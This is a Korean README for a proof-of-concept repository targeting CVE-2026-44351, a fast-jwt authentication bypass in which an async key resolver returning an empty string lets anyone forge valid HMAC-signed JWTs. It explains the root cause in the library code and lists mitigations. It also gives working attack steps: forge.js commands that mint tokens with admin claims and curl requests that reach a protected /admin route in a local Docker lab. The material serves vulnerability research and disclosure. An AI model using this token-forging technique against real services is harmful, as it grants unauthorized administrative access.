
CVE-2026-44351에 대한 개념 증명(Proof-of-concept)으로, fast-jwt <6.2.4에서 빈 HMAC 키를 통해 공격자가 유효한 것으로 인정되는 임의의 JWT를 위조할 수 있게 하는 인증 우회 취약점입니다.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (키 유효성 검증 오류) / CWE-287 (부적절한 인증) / CWE-326 (부적절한 암호화 강도) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 취약 버전 | fast-jwt < 6.2.4 (6.2.3에서 검증됨) |
| 패치 | [email protected] — FAST_JWT_INVALID_KEY로 빈 HMAC 키를 거부 |
📄 상세 기술 문서 (실제 코드 기반 근본 원인, 공격 구조, 패치 분석):
docs/CVE-2026-44351.md
fast-jwt는 키 해석(key)으로 비동기 함수를 전달하는 것을 허용합니다 — 이는
JWKS 서버와 통합할 때의 전형적인 패턴입니다:
const verify = createVerifier({
// 라이브러리 자체에서 문서화한 표준 JWKS 패턴
key: async (decoded) => jwks[decoded.header.kid] || '',
})
들어오는 토큰의 kid가 존재하지 않을 때, 이 패턴은 ''를 반환합니다. fast-jwt는
빈 문자열을 길이가 0인 Buffer(Buffer.alloc(0))로 변환하여
crypto.createSecretKey에 전달하고(Node는 이를 조용히 수용함), 빈 키를 사용한
HMAC으로 토큰 서명을 검증합니다.
HMAC-SHA256(key='', input='<header>.<payload>')는 누구나 계산할 수 있으므로,
공격자는 실제 비밀 값을 알 필요가 없습니다: 원하는 클레임(sub, admin, roles,
scopes, iss, aud, …)으로 토큰을 위조하면 검증기가 이를 정품으로
반환합니다.
비동기 키 해석 경로(함수)에만 영향을 미칩니다. 동기 설정
key: ''는createVerifier가 falsy 값에서 단락 처리하므로 올바르게 거부됩니다.
결함은 src/verifier.js에 있습니다. async key resolver 흐름에서:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// !publicKeyPemMatch && !X509 분기 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // HMAC 계열이 할당됨
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (길이 검사 없음)
verifyToken(currentKey, decoded, validationContext)
})
그리고 서명은 src/crypto.js로 검증됩니다:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0))는 작동하며, 입력의 HMAC은 공격자가
계산할 수 있고 위조된 토큰은 허용됩니다.
[email protected]에서 검증됨)| Resolver 형태 | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (기본값) | ✅ 허용 | ✅ 허용 | ✅ 허용 |
(d, cb) => cb(null, '') | (기본값) | ✅ 허용 | ✅ 허용 | ✅ 허용 |
async d => keys[d.header.kid] || '' | (기본값) | ✅ 허용 | ✅ 허용 | ✅ 허용 |
async () => '' | ['HS256','HS384','HS512'] | ✅ 허용 | ✅ 허용 | ✅ 허용 |
async () => '' | ['HS256','RS256'] | ✅ 허용 | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
공격은 수동으로 실행됩니다: 유일한 산출물은 빈 키로 서명된 JWT를 생성하는
forge.js입니다. 전송과 검증은 curl로 수행됩니다.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target 준비 완료
Docker는 취약한 target을 실행하기 위한 것일 뿐, 익스플로잇용이 아닙니다. 나머지 공격은 수동입니다.
앱의 실제 JWT를 식별하고(예: 인증된 요청에서), 서명을 검증하지 않고 header/payload를 검사합니다:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
검증할 사항:
kid를 노출함 → 앱이 kid로 키를 해석함 (JWKS 가능성).kid를 401로 거부하지만
invalid algo/invalid key를 표시하지 않으면, resolver가 keys[kid] || ''를
수행할 가능성이 높음.node forge.js # 화면에 토큰 + 준비된 curl 명령
node forge.js -o /tmp/jwt.txt # 토큰을 파일에 저장
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
스크립트는 항상 선택한 {alg, typ, kid} 헤더와 payload를 빈 키(secret: "")를
사용한 HMAC-SHA*로 서명하며, 앱의 실제 비밀 값을 알 필요가 없습니다.
복사한 토큰(또는 파일에서 읽은 토큰)으로:
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
대상이 취약한 경우 예상 응답:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| 경우 | 명령 | 결과 |
|---|---|---|
| 토큰 없음 | curl -si http://localhost:3000/admin | 401 Unauthorized |
| 잘못된 토큰 | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| 위조된 토큰 | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + admin 접근 |
클레임을 변경하고 2–3단계를 반복하면 우회가 재현됩니다 (후속 익스플로잇:
role, scopes, 다른 sub 등으로 권한 상승).
취약 버전과 패치 버전의 빠른 비교:
npm run demo # [email protected] -> 위조된 토큰 허용됨
npm run fixed # [email protected] -> 위조된 토큰 거부됨 (FAST_JWT_INVALID_KEY)
Docker에서도:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] 이상으로 업데이트: prepareKeyOrSecret이 길이가 0인 HMAC
키를 FAST_JWT_INVALID_KEY로 거부합니다.''/Buffer.alloc(0)을 반환하지 마세요:
undefined/null을 반환하고 해당 경우를 키 해석 오류로 처리하세요.cache: false를
사용하세요: 검증 캐시(기본 1000개 항목 / 600초 TTL)가 이전에 허용된 위조된
토큰을 보존할 수 있습니다.서버는 또한 관리 콘솔(public/)을 노출하여 실제 앱에서 익스플로잇을 볼 수
있게 합니다: 기업 로그인, 클레임이 있는 대시보드, admin 접근 패널, 통합 Red Team
뷰.
node server.js # 또는 다시: docker compose up -d --build server
open http://localhost:3000
데모 계정:
| Password | 역할 | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
앱은 정상적인 SaaS를 재현합니다:
POST /login은 createSigner를 통해 실제 비밀 값(kid: legit-kid)으로 서명된
JWT를 발급합니다 — signer는 취약하지 않습니다.localStorage에 저장하고 취약한 verifier를 사용하는
GET /admin을 호출합니다.'', RFC 2104 — WebCrypto는 길이가 0인 키를 허용하지 않음) 또는 node forge.js의
토큰을 붙여넣고 /admin을 테스트. admin: true이면 200 OK 응답 → 브라우저를
벗어나지 않고 우회 확인.프론트엔드는 단지 프레젠테이션일 뿐입니다: 취약점은 동일하며(
keys[kid] || ''를 사용하는 async key resolver), README의forge.js+curl수동 공격 흐름은 계속 작동합니다.
.
├── Dockerfile fast-jwt 6.2.3 및 6.2.4 (fixed/) 이미지
├── docker-compose.yml server / demo / fixed-demo 서비스 (exploit 없음)
├── .dockerignore 빌드 컨텍스트에서 node_modules 제외
├── package.json 의존성: [email protected] (취약)
├── server.js 취약한 API (fallback || ''를 사용하는 async key resolver) + /admin + /login + 정적 파일
├── forge.js 유일한 스크립트: 빈 secret으로 JWT 생성 / 토큰 검사
├── demo.js [email protected] (취약)에 대한 라이브러리 수준 데모
├── public/ "실제 앱" 프론트엔드 (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + 클라이언트 측 위조 (순수 JS의 key ''를 사용한 HMAC-SHA256)
├── docs/
│ └── CVE-2026-44351.md 기술 문서: 개요, 근본 원인, 패치
└── fixed/
├── package.json 의존성: [email protected] (패치됨)
└── demo.js [email protected] (패치됨)에 대한 동일한 데모
이 자료는 교육 및 보안 연구 목적으로만 제공됩니다. 자체 애플리케이션이나 소유자의 서면 승인이 있는 경우에만 exploit을 사용하세요. 제3자 시스템에 대한 이 기술의 무단 사용은 불법이며, 사용에 대한 책임은 사용자 본인에게 있습니다.